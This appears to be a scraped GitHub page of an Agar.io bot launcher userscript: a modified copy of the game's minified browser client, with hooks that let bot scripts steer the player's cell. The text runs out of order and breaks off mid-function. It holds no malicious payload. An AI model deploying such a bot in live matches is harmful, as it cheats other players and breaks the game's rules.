mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }) } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, toggleFollow = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["-|0_0|-"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], selectedCell = 0, q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = [-1], ja = [-1], zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE window.getDarkBool = function() { return ta; } window.getMassBool = function() { return lb; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return v; } window.getCells = function() { return E; } window.getPlayer = function() { return k; } window.getWidth = function() { return m; } window.getHeight = function() { return r; } window.getRatio = function() { return h; } window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia[0]; } window.getPointY = function() { return ja[0]; } window.getMouseX = function() { return fa; } window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } window.getMode = function() { return P; } window.setPoint = function(x, y, index) { while (ia.length > getPlayer().length) { ia.pop(); ja.pop(); } if (index < ia.length) { ia[index] = x; ja[index] = y; } else { while (index < ia.length - 1) { ia.push(-1); ja.push(-1); } ia.push(x); ja.push(y); } } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } var ma = 500, eb = -1, fb = -1, z = null, D = 1, ua = null, Ua = function() { var a = Date.now(), b = 1E3 / 60; return function() { d.requestAnimationFrame(Ua); var c = Date.now(), l = c - a; l > b && (a = c - l % b, !T() || 240 > Date.now() - bb ? gb() : console.warn("Skipping draw"), Fb()) } }(), U = {}, ob = "poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;chaplin;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook".split(";"), Gb = ["8", "nasa"], Hb = ["m'blob"]; Ka.prototype = { V: null, x: 0, y: 0, i: 0, b: 0 }; da.prototype = { id: 0, a: null, name: null, o: null, O: null, x: 0, y: 0, size: 0, s: 0, t: 0, r: 0, J: 0, K: 0, q: 0, ba: 0, Q: 0, sa: 0, ia: 0,
DickDumBR1 / AimSkip to content Sign up Sign in This repository Search Explore Features Enterprise Pricing Watch 137 Star 490 Fork 1,535 Apostolique/Agar.io-bot Branch: master Agar.io-bot/launcher.user.js @ApostoliqueApostolique 10 days ago Easier to see the borders 7 contributors @Apostolique @DarkN3ss61 @Linkaan @Timtech @henopied @Gjum @lilezek RawBlameHistory 2456 lines (2277 sloc) 93.893 kB /*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.123 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.123; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() {return [];}; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], 